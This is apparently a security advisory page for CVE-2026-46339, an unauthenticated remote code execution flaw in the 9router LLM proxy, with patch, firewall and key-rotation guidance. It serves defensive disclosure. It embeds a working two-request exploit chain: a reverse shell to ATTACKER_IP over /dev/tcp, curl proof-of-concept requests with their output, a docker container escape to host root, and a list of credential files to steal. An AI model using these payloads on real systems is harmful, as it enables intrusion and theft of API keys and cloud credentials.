9router, a widely deployed LLM proxy router, contains a critical authentication gap introduced in v0.4.30 that allows any unauthenticated attacker with network access to execute arbitrary OS commands in under two seconds — no credentials, no prior access, no prerequisites. With 4,917 downstream dependents and a CVSS of 10.0, this affects a substantial slice of AI infrastructure; a compromised 9router host typically holds the most sensitive assets in an AI stack: Anthropic API tokens (~/.claude/settings.json), AWS credentials, TLS private keys, and all stored LLM provider configurations in the local SQLite database. The advisory includes a working proof-of-concept that achieves a full reverse shell in two HTTP requests, and confirmed docker group membership on tested hosts enables immediate container escape to host root. Patch to v0.4.37 immediately, rotate all API keys stored on any host that ran v0.4.30 through v0.4.33, and treat all exposed credentials as compromised.
What is the risk?
Rated maximum severity (CVSS 10.0) and functionally pre-weaponized. The exploit chain is trivially reproducible from the published advisory with no AI or security expertise required: two unauthenticated HTTP requests yield remote code execution. Default Docker binding on 0.0.0.0:20128 means any host reachable over LAN or misconfigured firewall is instantly vulnerable. The blast radius extends beyond the 9router process — confirmed docker group membership enables host root escalation, and the process inherits the full environment including secrets injected via environment variables. No KEV listing yet, but the published PoC script and zero-barrier exploitation make active exploitation likely within days of public disclosure.
Attack Kill Chain
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| 9router | npm | >= 0.4.30, < 0.4.37 | 0.4.37 |
Do you use 9router? You're affected.
Severity & Risk
Attack Surface
What should I do?
6 steps-
Patch immediately: upgrade 9router to v0.4.37 which extends the Next.js middleware matcher to cover /api/cli-tools/* and /api/mcp/* routes.
-
If immediate patching is not possible, block all external and LAN access to port 20128 using host firewall rules (iptables -A INPUT -p tcp --dport 20128 -j DROP, except from localhost).
-
Rotate all API keys stored on any host that ran an affected version: Anthropic, OpenAI, and all other LLM provider keys, plus AWS credentials.
-
Audit ~/.claude/settings.json, ~/.aws/credentials, and the 9router SQLite database (DATA_DIR/db.sqlite) for evidence of unauthorized access.
-
Indicator of compromise: check for /tmp/pwned.txt (PoC 1 artifact), unexpected outbound connections to novel IPs, and unfamiliar entries in $HOME/.bash_history or process logs.
-
Apply defense-in-depth fixes from the advisory: command allowlist in registerCustomPlugin() and input sanitization at the cowork-settings API boundary, to protect against authenticated-user abuse post-patch.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-46339?
9router, a widely deployed LLM proxy router, contains a critical authentication gap introduced in v0.4.30 that allows any unauthenticated attacker with network access to execute arbitrary OS commands in under two seconds — no credentials, no prior access, no prerequisites. With 4,917 downstream dependents and a CVSS of 10.0, this affects a substantial slice of AI infrastructure; a compromised 9router host typically holds the most sensitive assets in an AI stack: Anthropic API tokens (~/.claude/settings.json), AWS credentials, TLS private keys, and all stored LLM provider configurations in the local SQLite database. The advisory includes a working proof-of-concept that achieves a full reverse shell in two HTTP requests, and confirmed docker group membership on tested hosts enables immediate container escape to host root. Patch to v0.4.37 immediately, rotate all API keys stored on any host that ran v0.4.30 through v0.4.33, and treat all exposed credentials as compromised.
Is CVE-2026-46339 actively exploited?
No confirmed active exploitation of CVE-2026-46339 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-46339?
1. Patch immediately: upgrade 9router to v0.4.37 which extends the Next.js middleware matcher to cover /api/cli-tools/* and /api/mcp/* routes. 2. If immediate patching is not possible, block all external and LAN access to port 20128 using host firewall rules (iptables -A INPUT -p tcp --dport 20128 -j DROP, except from localhost). 3. Rotate all API keys stored on any host that ran an affected version: Anthropic, OpenAI, and all other LLM provider keys, plus AWS credentials. 4. Audit ~/.claude/settings.json, ~/.aws/credentials, and the 9router SQLite database (DATA_DIR/db.sqlite) for evidence of unauthorized access. 5. Indicator of compromise: check for /tmp/pwned.txt (PoC 1 artifact), unexpected outbound connections to novel IPs, and unfamiliar entries in $HOME/.bash_history or process logs. 6. Apply defense-in-depth fixes from the advisory: command allowlist in registerCustomPlugin() and input sanitization at the cowork-settings API boundary, to protect against authenticated-user abuse post-patch.
What systems are affected by CVE-2026-46339?
This vulnerability affects the following AI/ML architecture patterns: LLM API proxy infrastructure, MCP server infrastructure, AI agent frameworks, Local AI development environments, Multi-provider LLM routing layers.
What is the CVSS score for CVE-2026-46339?
CVE-2026-46339 has a CVSS v3.1 base score of 10.0 (CRITICAL).
Technical Details
NVD Description
## Summary 9router exposes two unauthenticated API endpoints that, when chained together, allow any network-adjacent attacker to execute arbitrary OS commands as the user running the 9router process — with **zero prerequisites** and **no credentials required**. The vulnerability exists because the Next.js middleware that enforces authentication (`src/proxy.js`) only guards 8 explicitly listed routes. The attack surface of `/api/cli-tools/*` and `/api/mcp/*` (40+ routes) receives **no authentication whatsoever**. --- ## Root Cause ### 1. Middleware Allowlist Is Too Narrow **File:** `src/proxy.js` ```js export const config = { matcher: [ "/", "/dashboard/:path*", "/api/shutdown", "/api/settings/:path*", "/api/keys", "/api/keys/:path*", "/api/providers/client", "/api/provider-nodes/validate", ], }; ``` Next.js middleware only runs on routes matching this list. Routes NOT listed — including `/api/cli-tools/*` and `/api/mcp/*` — bypass the `dashboardGuard` auth check entirely. ### 2. Unguarded Endpoint Accepts Arbitrary Command Registration **File:** `src/app/api/cli-tools/cowork-settings/route.js`, lines 292–319 ```js export async function POST(request) { const { baseUrl, apiKey, models, plugins, localPlugins, customPlugins } = await request.json(); // ... const customPluginsArray = Array.isArray(customPlugins) ? customPlugins : []; if (customPluginsArray.length > 0) { const { registerCustomPlugin } = require("@/lib/mcp/stdioSseBridge"); const stdioCustoms = customPluginsArray .filter((p) => p.command) .map((p) => ({ name: p.name, command: p.command, // ← attacker-controlled, no validation args: p.args || [], // ← attacker-controlled, no validation })); for (const p of stdioCustoms) registerCustomPlugin(p); // stores in globalThis } } ``` The `command` and `args` fields from the attacker's JSON are stored verbatim into `globalThis.__9routerCustomPlugins` — a process-global Map that survives Hot Module Replacement. **File:** `src/lib/mcp/stdioSseBridge.js`, lines 114–116 ```js function registerCustomPlugin(def) { getCustomStore().set(def.name, def); // no validation of command/args } ``` ### 3. Unguarded SSE Endpoint Triggers `spawn()` with Stored Command **File:** `src/app/api/mcp/[plugin]/sse/route.js`, lines 6–25 ```js export async function GET(request, { params }) { const { plugin } = await params; if (!findPlugin(plugin)) return new Response(`Unknown plugin: ${plugin}`, { status: 404 }); const stream = new ReadableStream({ start(controller) { sid = registerSession(plugin, send); // ← spawn() called here }, }); return new Response(stream, { ... }); } ``` **File:** `src/lib/mcp/stdioSseBridge.js`, line 138 ```js const proc = spawn(plugin.command, plugin.args, { stdio: ["pipe", "pipe", "pipe"], env: process.env, // inherits full environment }); ``` `spawn()` is called with `shell: false` (default), but since the attacker controls **both** `plugin.command` (the binary path) and `plugin.args`, this is equivalent to arbitrary command execution. --- ## Attack Chain ``` Attacker (no credentials) │ │ Step 1 — Register malicious plugin (POST, no auth) ▼ POST /api/cli-tools/cowork-settings Content-Type: application/json { "baseUrl": "x", "apiKey": "x", "models": ["x"], "customPlugins": [{ "name": "rev", "command": "/bin/bash", "args": ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"] }] } ← {"success":true, ...} │ Step 2 — Trigger spawn() via SSE endpoint (GET, no auth) ▼ GET /api/mcp/rev/sse ← SSE stream opens → spawn("/bin/bash", ["-c", "bash -i >& /dev/tcp/..."]) ← Reverse shell connects to attacker ``` **Time to exploit from first request:** < 2 seconds. **Prerequisites:** Network access to port 20128 (Docker default: `0.0.0.0:20128`). --- ## Proof of Concept ### PoC 1 — File Write (no listener required) ```bash # Step 1: Register payload curl -X POST "http://TARGET:20128/api/cli-tools/cowork-settings" \ -H 'Content-Type: application/json' \ -d '{ "baseUrl":"x","apiKey":"x","models":["x"], "customPlugins":[{ "name":"rce1", "command":"/bin/sh", "args":["-c","{ id; whoami; hostname; uname -a; } > /tmp/pwned.txt"] }] }' # → {"success":true,...} # Step 2: Trigger curl -N --max-time 3 "http://TARGET:20128/api/mcp/rce1/sse" >/dev/null 2>&1 # Verify cat /tmp/pwned.txt ``` **Observed output (on local test instance):** ``` uid=1000(sondt23) gid=1000(sondt23) groups=...,983(docker),984(ollama) sondt23 VSOC-sondt23-L Linux VSOC-sondt23-L 6.17.0-23-generic ... x86_64 GNU/Linux ``` ### PoC 2 — Automated PoC script ```bash # File write mode (for report) python3 poc.py --target http://TARGET:20128 --mode file # Reverse shell mode (interactive) python3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444 ``` The script (`poc.py`) is included in this advisory. --- ## Impact | Category | Detail | |---|---| | **Confidentiality** | Full read access to server filesystem — API keys, TLS private keys, `~/.claude/settings.json` (Anthropic tokens), AWS credentials | | **Integrity** | Arbitrary file write, persistence via cron/systemd | | **Availability** | Process termination, resource exhaustion | | **Lateral movement** | `docker` group membership (confirmed in test) allows full container escape → host root | | **Scope** | Remote, unauthenticated, network-accessible | ### High-value exfiltration targets on a typical 9router host - `~/.claude/settings.json` — `ANTHROPIC_AUTH_TOKEN` - `~/.aws/credentials`, `~/.aws/sso/cache/*.json` — AWS keys - `$DATA_DIR/db.sqlite` — 9router local database (all stored API keys, provider configs) - TLS private keys managed by the MITM proxy (`src/mitm/`) --- ## Affected Versions | Version | Affected | Notes | |---|---|---| | < v0.4.30 | No | `cowork-settings` and MCP SSE bridge did not exist | | v0.4.30 | **Yes** | Introduced in commit `8f4d29c` (2026-05-11) | | v0.4.31 | **Yes** | | | v0.4.32 | **Yes** | | | v0.4.33 | **Yes** | Latest at time of disclosure | The vulnerability was introduced when the MCP stdio→SSE bridge feature was added in v0.4.30. The middleware matcher was not updated to protect the new routes. --- ## Remediation ### Fix 1 — Extend middleware matcher (minimal fix) **File:** `src/proxy.js` ```js export const config = { matcher: [ "/", "/dashboard/:path*", "/api/shutdown", "/api/settings/:path*", "/api/keys", "/api/keys/:path*", "/api/providers/client", "/api/provider-nodes/validate", // ADD these: "/api/cli-tools/:path*", "/api/mcp/:path*", ], }; ``` ### Fix 2 — Validate `command` in `registerCustomPlugin` (defense-in-depth) **File:** `src/lib/mcp/stdioSseBridge.js` ```js const ALLOWED_MCP_COMMANDS = new Set(["npx", "node", "uvx", "python3", "python"]); function registerCustomPlugin(def) { const bin = def.command?.split("/").pop(); // basename only if (!ALLOWED_MCP_COMMANDS.has(bin)) { throw new Error(`Blocked: command '${def.command}' not in allowlist`); } getCustomStore().set(def.name, def); } ``` ### Fix 3 — Sanitize `customPlugins` at the API boundary **File:** `src/app/api/cli-tools/cowork-settings/route.js`, line 312 ```js const stdioCustoms = customPluginsArray .filter((p) => p.command && typeof p.command === "string") .filter((p) => ALLOWED_COMMANDS.has(path.basename(p.command))) // allowlist check .map((p) => ({ name: String(p.name).replace(/[^a-zA-Z0-9_-]/g, ""), // sanitize name command: p.command, args: (p.args || []).map(String), })); ``` **All three fixes should be applied together.** Fix 1 alone is sufficient to prevent exploitation from unauthenticated attackers, but Fixes 2 and 3 provide defense-in-depth against authenticated users abusing the feature. ---
Exploitation Scenario
An adversary conducting reconnaissance on an organization's AI development infrastructure identifies a 9router instance bound to 0.0.0.0:20128 — a common default in Docker-based AI dev environments. In step one, they POST a crafted payload to /api/cli-tools/cowork-settings registering a reverse shell as a custom MCP plugin named 'rev', with command /bin/bash and args pointing to their listener. The server returns HTTP 200 with no authentication challenge. In step two, they trigger GET /api/mcp/rev/sse, which causes 9router to spawn the bash reverse shell. Within seconds the adversary has an interactive shell as the developer's user account, retrieves ~/.claude/settings.json to harvest the Anthropic API token, dumps db.sqlite for all stored LLM provider keys, and pivots to AWS via ~/.aws/credentials. Because the compromised user is in the docker group (confirmed in the advisory's test run), they then escape to host root via 'docker run -v /:/mnt --rm -it alpine chroot /mnt sh'. All stolen API keys are subsequently used to exfiltrate proprietary model prompts, training pipelines, and organizational AI infrastructure from cloud provider accounts.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2026-42249 9.8 Ollama: path traversal + unsigned update = silent RCE
Same package: ollama CVE-2026-42248 9.8 Ollama: silent auto-update bypasses signature check on Windows
Same package: ollama CVE-2025-63389 9.8 ollama: Missing Auth allows unauthenticated access
Same package: ollama CVE-2026-7482 9.1 Ollama: heap OOB read leaks API keys and chat data
Same package: ollama CVE-2026-44007 9.1 vm2: sandbox escape via nesting:true enables RCE
Same package: ollama